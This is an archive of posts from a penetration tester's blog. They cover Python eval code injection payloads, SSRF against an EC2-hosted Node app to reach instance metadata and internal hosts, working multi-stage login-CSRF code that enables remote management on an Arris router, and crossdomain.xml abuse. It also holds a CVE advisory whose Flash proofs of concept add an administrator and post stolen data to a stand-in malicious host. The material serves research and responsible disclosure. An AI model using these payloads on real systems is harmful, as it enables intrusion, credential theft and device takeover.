Wednesday, November 9, 2016

Exploiting Python Code Injection in Web Applications

A web application vulnerable to Python code injection allows you to send Python code though the application to the Python interpreter on the target server. If you can execute python, you can likely call operating system commands. If you can run operating system commands, you can read/write files that you have access to, and potentially even launch a remote interactive shell (e.g., nc, Metasploit, Empire).

The thing is, when I needed to exploit this on an external penetration test recently, I had a hard time finding information online about how to move from proof of concept (POC) to useful web application exploitation. Together with my colleague Charlie Worrell (@decidedlygray), we were able to turn the Burp POC (sleep for 20 seconds) into a non interactive shell, which is what this post covers.

Python code injection is a subset of server-side code injection, as this vulnerability can occur in many other languages (e.g., Perl and Ruby). In fact, for those of you who are CWE fans like I am, these two CWEs are right on point:

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

TL;DR

If you (or Burp or another tool) finds a python injection with a payload like this:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))

You can use the following payload to go from a time based POC to OS command injection:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))

And as it turns out, you don't even need the for loop. You can use the global __import__ function:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))

Better yet, now that we have import and popen as one expression, in most cases, you don't even need to use compile at all:

__import__('os').popen('COMMAND').read()

To pass these to the web application, you will have to URL encode some characters. The examples from above are each encoded below to illustrate what they might look like in action:

  • param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
  • param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
  • param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
  • param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29
The rest of the post will dig into the details, share an intentionally vulnerable web app, and at the end of the post I'll demo a tool that Charlie and I wrote that really speeds up exploitation of this vulnerability -- kind of like what sqlmap does for SQLi, but in the infancy stage.

Setting up a Vulnerable Server

I created an intentionally vulnerable application for the purpose of this post, so if you want to exploit this in your lab, you can grab it here. To get it to work, you have to install web.py via pip or easy_install, but that is it. It can run as a stand alone server, or it can be loaded up into Apache with mod_wsgi.

git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py

The Vulnerability

Although you would be hard pressed to find an article online that talks about python eval() without warning that it is unsafe, eval() is the most likely culprit here.  When you have the following two conditions, the vulnerability exists: 
  1. Application accepts user input (e.g., GET/POST param, cookie value)
  2. Application passes that user controlled input to eval in an unsafe way (without sanitization or other protection mechanisms). 
Here is a simplified version of what the vulnerable code could look like:



That said, eval() is only one of the potential culprits here.  A developer can also introduce this vulnerability by unpickling serialized data passed by the user.

Python's exec() is another way you can make your app vulnerable, but as far as I can tell, a developer would have to try even harder to find a reason to exec() web based user input.  That said, I'm sure it happens.

Automated Discovery 

Having a scanner find something I haven't seen before, and then doing the research to move from vanilla POC to something report worthy has been one of the pillars of my offensive security education (along with learning how to find things that scanners can not find). This vulnerability is no different. If you find this in the wild, you will most likely find it with an automated tool, like Burp Suite Pro. In fact, the check Burp uses is something they developed internally, so I'm not sure you would even find this vulnerability without Burp Suite Pro at this point.    

Once you have the vulnerable demo app up and running, you should be able to find the vulnerability with a Burp Suite Pro scan: 



Here are the details showing the payload that Burp used to find this vulnerability:


The reason Burp flags the app as vulnerable, is that after it sent this payload, which told the interpreter to sleep for 20 seconds, the response took 20 seconds to come back. As with any time based vulnerability check, every once in a while there are false positives, usually because the app in general starts responding slowly.

Moving from POC to Targeted Exploitation

While time.sleep is a nice way to confirm the vulnerability, we want to execute OS commands AND receive the output.  To do that, we were successful with os.popen() or subprocess.Popen(), and subprocess.check_output(), and I'm sure there are others.

The Burp Suite Pro payload uses a clever hack (using compile) that is required if you have multiple statements, as eval can only evaluate expressions. There is another way to accomplish this, using global functions (ex: __import__), which is explained here and here.

This payload should work in most cases:

# Example with one expression
__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commas
str("-"*50),__import__('os').popen('COMMAND').read()

If you need to execute a statement, or multiple statements, you will have to use eval/compile:

# Examples with one expression

  • eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
  • eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))
#Examples with multiple statements, separated by semicolons

  • eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))
  • eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))

In my testing, some things just did not work with the global __import__ trick above, like using subprocess.Popen.  In that case, just stick with the for loop technique that the Burp team came up with:

  • eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))
  • eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
  • eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))

If your vulnerable parameter is a GET parameter, you can exploit this easily with just your browser: 


Note: The browsers do most of the required URL encoding for you, but you will have to manually encode semicolon (%3b) and spaces (%20) if they are used, or use the tool we developed which is covered below.

If you are working with a POST parameter (or a cookie value which was the case on my pentest), you'll probably want to use Burp Repeater or something similar. This next series of screenshots shows me using subprocess.check_output() to call pwd, ls -al, whoami, and ping, all in one expression:




So manually URL encoding characters gets old fast, so you will probably find yourself wanting to whip up a python script to send the requests from the command line like Charlie and I did.  Or, if you'd like, you can use ours.

Exploitation Demonstration with PyCodeInjectionShell

You can download PyCodeInjectionShell, and read up on how to use it here: https://github.com/sethsec/PyCodeInjection. PyCodeInjectionShell it is written to feel like sqlmap as much as possible. Our assumption is that anyone who needs to use this tool is probably very familiar with sqlmap.

Here is what it looks like in action, accepting a URL. Note the sqlmap style * designating the payload placement in the URL. This example also uses interactive mode, which lets you continuously enter new commands until you exit:


And here is the same functionality using a request file copy/pasted from burp repeater, with an implanted *, which tells the tool where to inject:



In either example, if you just want to enter one command and exit, just remove the -i.

Feedback, suggestions, questions and bug reports are welcome!

Wednesday, December 23, 2015

Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

I recently came across a Server Side Request Forgery (SSRF) vulnerability within an application that I assessed.  The application was hosted on Amazon EC2 and was using Node.js, Express.js, and as I found out later, Needle.js.

Discovery

 

Manual Discovery

In the discovery phase, I noticed a function of the application that was taking a user specified URL and displaying the first paragraph from that URL into the page.  This application allowed a user to share a URL with their friends, and grabbing the first paragraph was a feature that would provide the friends with more context.

The thing is, when looking at my Burp history, I could not find the request to the URL that I specified in my logs.  This should raise an eyebrow!  This means that the server is taking the URL I specified, making a request on my behalf, and then returning the result to me. That right there is SSRF.  Then, the only question was: What is the risk?

Automated Discovery

Since April 2015, if you are using the Burp Collaborator (and you definitely should be), you should be able to detect SSRF if you send the vulnerable request to the active scanner.  The following image shows a few different ways Burp Collaborator can identify SSRF (as Out-of-band resource load and External service interaction).


 

Exploitation Demonstration

I wanted to demonstrate this SSRF vulnerability without sharing any details about the assessed application. To do this, I re-created the vulnerability by somehow hacking together my first Node.js application (and it actually worked).

Source: https://github.com/sethsec/Nodejs-SSRF-App

My application, which for this demo is hosted on an Amazon EC2 micro instance, runs Node.js, and uses Express.js and Needle.js (which is what makes the SSRF request).

Just as the real application did, my demo application takes a URL specified by the user, and makes a request using Needle.js. The real application accepted the user supplied URL from a JSON parameter in the BODY, however my Node skills are not there yet, so for my demo the URL is sent via a GET parameter.

This is the most pertinent part of the vulnerable app:



This is what it looks like in action:





It looks just like an iframe, doesn't it?   But if it were a typical iframe, your browser would be making the request to sethsec.blogspot.com, and the application would not be vulnerable to SSRF.

However, when I ask the vulnerable server to make a request to ifconfig.pro, a site that shows the IP Address and User Agent of the requester, I can confirm the SSRF pretty clearly:



















The two most interesting items are the source IP and the User_Agent.  This response from ifconfig.pro proves that the request was sent by the EC2 instance, specifically from Needle, a Node.js HTTP client.

Who cares? What is the risk?  

Well, as mentioned above and discovered by many excellent researchers, if you can get the server to make a request for you, you can often gain access to things you otherwise would not have the ability to access.

Accessing the Amazon EC2 Metadata Service

For example, if your application is running on an Amazon EC2 instance, you can query the instance metadata service at 169.254.169.254 (a non-routable address).  This service is ONLY accessible via the instance itself, so without SSRF, command injection, or something similar, you would never be able to reach this service.



This is just one example of a metadata object.  Erik Peterson (@silvexis) covers much more sensitive things that can potentially live in the metadata service in his excellent talk Bringing a Machete to the Amazon. For example, this next request allows an attacker to retrieve the temporary security credentials for the "admins" role, which would allow an attacker to control access to your AWS resources.



Accessing the Amazon EC2 User Data Object

Another place you will want to look is the user-data container, located at: http://169.254.169.254/latest/user-data.  Amazon gives the following warning to devs:

http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-add-user-data

But as we all know, if it is easier to store some passwords or other sensitive data in user-data, some people will, which is why you should check.  This is what that request looks like from my vulnerable EC2 instance:


For a complete list of what to look for if you have access to the EC2 metadata service, check out this document from Amazon: Instance Metadata and User Data.

Scanning and Accessing the Back End Infrastructure

In addition to checking the metadata service (and also looking for user data), you should try to exploit SSRF to look for services, hosts, and resources that are accessible via the vulnerable server, but not accessible to you directly. Burp Intruder is a great tool to accomplish each of these tasks.

 

Demo Setup

To set up for the demo, I am using a second EC2 instance running Kali, with an internal IP address of 172.31.40.122 and listening on port 8080.  The web service on this host is not accessible from the Internet. In fact, the only connections allowed to 172.31.40.122 are from the internal IP address of the server that is vulnerable to SSRF, and only on port 8080/tcp.

Here is is the EC2 security policy for 172.31.40.122 (Kali running apache):



Scanning for ports (XSPA)


1) Make the initial request through Burp. In this example, I just attempted to access TCP port 1.



2) Send the initial request to Burp Intruder.



3) Set the payload position (to the port).



4) Set the payload itself. For the demo, I am selecting 11 sequential ports, but you could easily paste in the top X tcp ports from nmap or a list of common web server ports.



5) Start the attack.  As you can see from the screenshot below, there are a few potential ways to infer which port is open and which ports are closed.  In this case, you can use the response code OR the length of the response:



Alright! I just determined that 172.31.40.122 is listening on port 8080, and that it is running a web server.

 

Scanning for hosts

This follows the exact same steps as above, but instead of setting the port as the payload position, you would set the IP address range you want to scan, so that you are scanning a range of IP addresses for a particular port, like port 80/tcp or 443/tcp.

It would look like this:



I did not want to actually scan other EC2 IPs, so I'm just leaving this example here.  But, basically, you pick back up again at step 4 and everything else is the same as above.

You could also use the Cluster Bomb attack type in Burp and scan for ports and services at the same time.

 

Scanning the internal web server

Next, I'll show how we can once again repeat the process described above, but this time we'll scan for files and/or directories on a server, rather than scanning ports or hosts.

As this is my demo, I know the target file is located at users.txt, but I threw a few other pages into Burp Intruder to show what this would look like.   In a real world scenario, you would want to use a source of directories and file names from a resource like fuzzdb.

Just like in the previous examples, you can find a match by looking for a difference.  In this example, everything gives you a 200 status, but the length of users.txt is shorter than all of the others. This is your first clue that you found a file that exists.



As with the ports and services example from above, you could also use the Cluster Bomb attack type in Burp to scan multiple web servers you have identified with the same file/directory list, all at the same time.

Remediation

Rather than proxying requests on behalf of users, the application should have the user’s browser retrieve the desired information. If it is necessary to proxy the request, a white list should be used on the server side and the User-Agent information should be stripped or modified.


Additional Resources 

There are several great SSRF resources out there. In my opinion, Nicolas GrĂ©goire (@Agarri_FR) is the master of SSRF (and XXE), so if you have not read up on  much about either, you need to check out some of his blog posts and talks.

One of my favorite talks: Nicolas GrĂ©goire - Hunting for Top Bounties
One of my favorite blog posts: Compromising an unreachable Solr server with CVE-2013-6397

I decided to blog about this because I just submitted a SSRF finding as a pull request to Mubix's Common Findings Database Project (CFDB). That finding has some of the same content I included here. In the CFDB finding, I include a bunch of links to prior work as well as some useful resources. 

I think CFDB is a great project, and sorely needed at this point in our industry.  I urge anyone who can contribute to do so.   

Final Thoughts

Unlike client side vulnerabilities like XSS and CSRF, SSRF can potentially give you access to back end infrastructure that you would not otherwise have access to. Keep an eye out for it, and if you do find it, remember to demonstrate the risk.

Did I miss the mark on anything? Was I inaccurate? Was this post helpful to you? Feedback is welcome and encouraged!


Tuesday, December 23, 2014

Forging my way into an XFinity home network via the Arris TG862G


TL;DR: Using login CSRF + multi-stage CSRF, you can create a one click exploit that would silently log a user into their vulnerable, Comcast provided modem/router with default credentials (if they have not been changed) and then enable remote management (or anything else). I'll show how I did this with my previously vulnerable modem/router, and then give a more generic POC that you can try out on bWAPP, an intentionally vulnerable web application.

Unnecessary Background

This story starts about a year ago when my colleagues convinced me to stop being lazy and switch to a DOCSIS 3.0 modem so that I could actually get the speeds I am paying for.  I filled out the Comcast XFinity form and had them send me a new modem.  New toy -- Yay!

So basically right after I had the new device working, I decided it was time to mess around.  Turns out the modem is an Arris TG862G, a modem that is designed to be re-branded by many ISPs and distributed to their customers. Unfortunately, as is common with SOHO devices, the modem was universally vulnerable to CSRF (and some XSS as well).

CVE-2014-5437: Cross-site request forgery
CVE-2014-5438: Cross-site Scripting

How bad can it be?

Before sending off the vulnerability report to Arris though, I figured I would try to dream up a worst case scenario, just like I do at my day job.

One of the toughest conditions to meet in the exploitation of most CSRF vulnerabilities is that the victim needs to be authenticated with the vulnerable application.  If you are talking about an application with a huge inactivity timeout -- or one that you can be fairly confident the victim will be authenticated with (Google, Facebook, etc), this is not a problem.  For an application that users are rarely logged into, the likelihood that your attack will be successful goes way down.

Well, as I was thinking about exploitation scenarios, I remembered that this device ships with a standard IP address and uses a default username/password that does not need to be changed, even after the first login. I'd love to see the percentage of customers who have ever even logged into the management console once, let alone changed the default password.

See where I am headed? Login-CSRF.

Ultimately, what we need to do is create a CSRF exploit that causes our victim to issue multiple forged requests to the vulnerable application, in order.

1) Attempt to log the victim in with the default credentials (Login-CSRF)
2) Seamlessly execute the intended CSRF attack(s) without requiring more user interaction

Login-CSRF background

The malicious use case for "Login-CSRF" that is most commonly cited is tricking your victim to log in with your credentials in order to launch an exploit or socially engineer them further.

What I needed is slightly different, not new, and described  below:


If the device's web interface uses forms-based authentication, it is often possible to perform a two-stage attack by first logging the user in to the device and then performing the authenticated action. Since most users do not modify the default credentials for devices of this kind (perhaps on the assumption that the web interface can be accessed only from the internal home network), the attackers web page can first issue a login request containing default credentials. The device then sets a session token in the user's browser, which is sent automatically in subsequent requests, including those generated by the attacker.

This was also discussed around the same time by Jeremiah Blatz at McAfee Foundstone in 2011, titled CSRF: Attack and Defense. Here is an excerpt: 

Many web-enabled devices ship with default user accounts, with well-known usernames and passwords. An attacker can exploit this to use CSRF to attempt to log users into the target website before performing a real CSRF attack. This is of particular concern for routers, which tend to have predictable IP addresses. Changing the default password on these devices prevents attackers from performing a CSRF login operation.

So people have been talking about this for years, but the question is: How do I actually pull this off? There are not a lot of public examples out there, so I figured I would share the solution that I came up with, along with some other examples.

Multi-Stage CSRF background

This is very closely related to multi-POST CSRF, however with multi-POST CSRF, it shoots all of the requests at the same time.  Lanmaster53's technique in particular is great if you need to do multiple things at once, but unfortunately it is not what we need if the requests are time or sequence sensitive.  

You want to pull multi-stage CSRF out of the arsenal when you need the victim to submit multiple requests -- in order -- on your behalf.  There are multiple scenarios where this method will give you an overall better exploit, not just with Login-CSRF. The first time I had to do this on an assessment, I needed my victim to check out an item from revision control, modify it, then check it back in.  If you shotgunned all three CSRF's at the same time, it would most likely not work, for obvious reasons. To accomplish that hack, I used a javascript timer to space out the requests, and my finished exploit was very similar to this post by Charlie Eriksen.

Instead of using the timer based approach for this POC, I decided to use XMLHttpRequest combined with onreadystatechange. I'll show the Arris POC first, and then I'll include a POC for launching this attack against bWAPP, an intentionally vulnerable web application, so that you can try it for yourself.

Arris POC

So now we have all the pieces to do something evil. The following will work if the victim has an ArrisTG862G as long as the victim has not changed their default password for the Arris modem:

1) Victim arrives at attacker's evil site via phishing, watering hole attack, etc
2) Victim is CSRFed into authenticating with the Arris TG862G with default credentials
3) Victim is then CSRFed into opening up remote management of the router
4) Attacker logs into router with default credentials from the internet

Here is the CSRF source served by the attacker (arris-MultiStage.html):

<html>
  <head>
    <script>

      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/home_loggedout.php", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "username=admin&password=password";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.onreadystatechange = function(){
          if(xhr.readyState == 4){
            submitRequest2();
            }
          }
        xhr.send(new Blob([aBody]));
      }

      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/remote_management", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "http_port=8080&http=enabled&single=any";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
</script>
</head>
<body onload="submitRequest1();">
<img src="distraction.jpg" alt="Nothing to see here">
</body>
</html>

The way this works is that the body onload at the very bottom calls the first function submitRequest1(). That function launches the first CSRF request.  Then the onreadystatechange inside submitRequest1() calls the second function, submitRequest2(), but only after the first request has finished and the response is ready.  Once submitRequest2() is called, the second CSRF request is made.  The important thing to note here, is that by the time the second request is made, it uses the post authentication session token, which is why it is successful.

A quick side note before moving on: You could easily add the onreadystatechange lines to submitRequest2(), and point that to submitRequest3(), and so on.

In terms of the severity of this exploit, remember that the attacker could just look through their web logs to determine the public IP of people who fell victim to the attack.  At that point, it is just a matter of connecting to the public IP on port 8080/tcp, and seeing if they can log in with the default credentials.

Lastly, before moving away from Arris/Comcast, I wanted to remind everyone that both the CSRF and XSS I reported on back in July have been fixed, and the fix has been pushed out by Comcast. 

If you have an Arris modem/router but do not use Comcast, contact your ISP (or Arris) to verify that your firmware has been updated to address this vulnerability.  Or you could fire up Burp and see for yourself. ;)  


bWAPP POC

bWAPP is an intentionally vulnerable web application, and it is a perfect place to try out multi-stage CSRF on something you can easily download and that you know is vulnerable.

1) Login in to bWAPP and pick the CSRF Transfer Amount module:
2) Verify the current value (1000 EUR):
3) Log out! <--- This is normally what would prevent CSRF from working! If the user is logged out, your CSRF attack is not going to work!

4) Have your victim navigate to your attacker's server and load the CSRF payload:
5) Navigate back to https://172.16.214.132/bWAPP/csrf_2.php. You should be logged in (magic), and you should see that 10 EUR has been removed from the account:

Here is the code:

<html>
  <head>
    <script>
      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://172.16.214.132/bWAPP/login.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "login=bee&password=bug&security_level=0&form=submit";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.onreadystatechange = function(){
           if(xhr.readyState == 4){
               submitRequest2();
           }
        } 
        xhr.send(new Blob([aBody]));
      }


      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "https://172.16.214.132/bWAPP/csrf_2.php?account=123-45678-90&amount=10&action=transfer", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    

    </script>
</head>
<body onload="submitRequest1();">
  </body>
</html>

That's it.  I hope this POC will come in handy next time you need to demonstrate how bad CSRF could be.  I know most developers/companies will fix CSRF as soon as you tell them it is vulnerable, but sometimes, a one click exploit is worth a thousand words!

Tuesday, November 18, 2014

Crossdomain.xml can be overly permissive even without a wildcard (*)

Before too much time passes, I want to write about a point I covered in my presentation that is not widely covered on the web -- or maybe not even covered at all. The main point is that even if you have a very specific list of domains that you trust, you may still be vulnerable to CWE-942, if one of the domains that you trust is available for purchase.

To illustrate this point in my talk, I used the crossdomain.xml file at www.sears.com:



What I found in my research is that there are plenty of crossdomain.xml files that trust sites that are available for purchase.  As far as I know, every single security assessment tool out there would pass right over these sites, missing the fact that a vulnerable configuration could be in place.

In the case of www.sears.com, they are trusting the domain: searstestsite.com. For the purpose of demonstrating the vulnerability, I purchased this domain. This means that I can now host a malicious SWF at www.searstestsite.com, a domain that I own and operate, and anyone who is authenticated with www.sears.com, who also navigates to my site, will execute my malicious SWF.

When I realized this is actually somewhat common, I wrote a nmap script to parse crossdomain.xml files and help you (the tester) determine if any of the trusted domains are available for purchase:



You can then paste the results into https://www.dynadot.com/domain/bulk-search.html, like so:



and if you are lucky, you will get a valid hit like I did:



At the time of my talks, I still had not yet found a domain service that allows you to make automated requests without an API key. Since then, while it is still not a 100% perfect solution, I have found a site that will give us what we need for the 10-15 most common TLDs: instantdomainsearch.com.

So now, if you run my nmap script with --script-args=liveLookup, the script will attempt look up the domain availability for every domain that has a TLD that can be checked. For ones that are not available, there is no need to tell the user about them. For the ones that are available, the script makes it very clear that the domain is available for purchase. Lastly, the script falls back to the original method for any domain that has a TLD unsupported by instantdomainsearch.com.

Here is http-crossdomain.nse in action, using the liveLookup script argument


nmap -n -p 80 www.domain.com --script=http-crossdomain --script-args=liveLookup

Host is up (0.012s latency).
PORT   STATE SERVICE
80/tcp open  http    
| http-crossdomain: 
|   TRUSTED DOMAIN AVAILABLE FOR PURCHASE: domain1.com
|   TRUSTED DOMAIN AVAILABLE FOR PURCHASE: domain2.com
|   
|   POTENTIALLY VULNERABLE (Requires a manual check):
|     Crossdomain.xml whitelists domains that could potentially be available for purchase.
|       This script attempted to check all whitelisted domains to see if any of the domains
|       were available.  Unfortunately, the script was unable to check some domains.
|       If the FQDN requires authentication and serves sensitive information, you will want
|       to manually check the remaining domains by browsing to the URL below and pasting
|       the comma delimited list into the Dynadot bulk domain search tool.
|   
|       DOMAIN LOOKUP URL: https://www.dynadot.com/domain/bulk-search.html
|   
|       TRUSTED DOMAINS: domain.au,domain.at,domain.be,domain.com.cn,domain.fr,domain.de,domain.com.hk,domain.in
|      
|   REFERENCES:
|     https://cwe.mitre.org/data/definitions/942.html 
|     http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html
|_  

Tuesday, October 28, 2014

BSidesDC 2014

Presenting at BSidesDC was an amazing experience. I feel so lucky that we have our very own local con, and I am extremely grateful to the organizing committee and other volunteers who make this event happen.

This is very similar to my DerbyCon talk, however it is 20 minutes longer which gave me time to walk through how to go from finding this vulnerability to exploiting it, including showing the audience how to create a POC SWF.  Also, I released SWF-Server, which will give you everything you need to create your own SWF to exploit this vulnerability.






Friday, October 10, 2014

DerbyCon 4.0 - SWF Seeking Lazy Admin for Cross Domain Action

Abstract: Security misconfiguration is #5 on the OWASP 2013 Top 10. This talk shows how the misconfiguration of one file can compromise the security of an entire web application.

In the talk, youll be introduced to the crossdomain.xml file.  This file determines how third party Flash Objects (SWFs) hosted on other domains can interact with your domain. Unfortunately, this file requires manual configuration on the part of the administrator, and as we all know, when manual configuration is required, mistakes happen.Sometimes, administrators give up and whitelist the entire internet in order to "make it work". This is essentially like adding an "accept all" rule on your firewall or setting your password to <blank>. 

We will review how to identify the vulnerability, how to abuse it, and how to write your own SWFs that exploit the flaw. Examples of public sites that until recently contained this vulnerability will be provided, including a few from the Alexa Top 100.




Wednesday, July 23, 2014

CVE-2014-2227

This CVE covers a vulnerability found in the Ubiquiti Networks AirVision application.  For more background on this particular vulnerability, check out this post:

Exploiting misconfigured crossdomain.xml files

In fact, I wrote that first crossdomain.xml blog post after finding this AirVision vulnerability back in February.  If you already read that post, you should recognize the vulnerable form I use for the POC here (adding an administrator), is the same one I used earlier.

Here is a cleaned up version of what I sent to Ubiquiti back in February:

AirVision Controller v2.1.3 - Overly Permissive default crossdomain.xml



Misuse Case

If the victim user is authenticated with their AirVision Controller, and they visit a malicious site, the owner of the malicious site can make changes to, and read data from, the AirVision Controller. The malicious site can even add a new administrative user account.  

Vulnerable default configuration:



POC:

Step 1: Attacker hosts the malicious SWF on his/her server, and socially engineers a victim AirVision administrator who is currently logged in, to view the SWF file
Step 2: The victim, while logged into AirVision, views the SWF file on the attackers server:


Step 3: The SWF loads on the victims machine, and makes a request on behalf of the victim (exploiting CSRF to add an administrator):


Response:

Step 4: The SWF is able to bypass Same-Origin-Policy because of the overly permissive crossdomain.xml file, and it records the server response to the previous request, and sends that to the attacker:

The server receives the information and responds with a HTTP 200 OK.
Here is another example of how an attacker could exploit this vulnerability, that is much different than what CSRF can do. In the screenshot below, the SWF makes a request to /api/2.0/log?type=error.  The SWF then reads the data that comes back from that request and sends it to the attacker’s server, where the attacker consumes the raw data.    





Additional details:

(CVE-2014-2227) - Ubiquiti Networks - AirVision v2.1.3 - Overly Permissive default crossdomain.xml

-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)


----------------------------------------------
Affected Products/Versions:
----------------------------------------------
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Overly Permissive default crossdomain.xml file
CVE: CVE-2014-2227
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2227.html

------------------------------------------------------------------------------------------------------
POC #1: Using crossdomain.xml to execute CSRF and add an  administrator:
------------------------------------------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLRequestHeader;

public class XDomainXploit3 extends Sprite {
 public function XDomainXploit3() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "https//victim:7443/api/2.0/admin";
  var header:URLRequestHeader = new URLRequestHeader("Content-Type",
"text/plain; charset=UTF-8");
  var readRequest:URLRequest = new URLRequest(readFrom);
  readRequest.method = URLRequestMethod.POST
  readRequest.data =
"{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";
  readRequest.requestHeaders.push(header);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-----------------------------------------------------------------------
POC #2: Using crossdomain.xml to exfiltrate log data:
-----------------------------------------------------------------------

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
 public function XDomainXploit() {
  // Target URL from where the data is to be retrieved
  var readFrom:String = "/victim:7443/api/2.0/admin";
  var readRequest:URLRequest = new URLRequest(readFrom);
  var getLoader:URLLoader = new URLLoader();
  getLoader.addEventListener(Event.COMPLETE, eventHandler);
  try {
   getLoader.load(readRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }


 private function eventHandler(event:Event):void {
  // URL to which retrieved data is to be sent
  var sendTo:String = "http://www.malicious-site.com/admin"
  var sendRequest:URLRequest = new URLRequest(sendTo);
  sendRequest.method = URLRequestMethod.POST;
  sendRequest.data = event.target.data;
  var sendLoader:URLLoader = new URLLoader();
  try {
   sendLoader.load(sendRequest);
  } catch (error:Error) {
   trace("Error loading URL: " + error);
  }
 }
}
}

-------------
Solution:
-------------
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note: The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------

2014-02-25: Notified Ubiquiti of crossdomain vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence of the vulnerability
2014-02-28: CVE-2014-2227 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-06-13: Set public disclosure date of 2014-07-24
2014-07-24: Public disclosure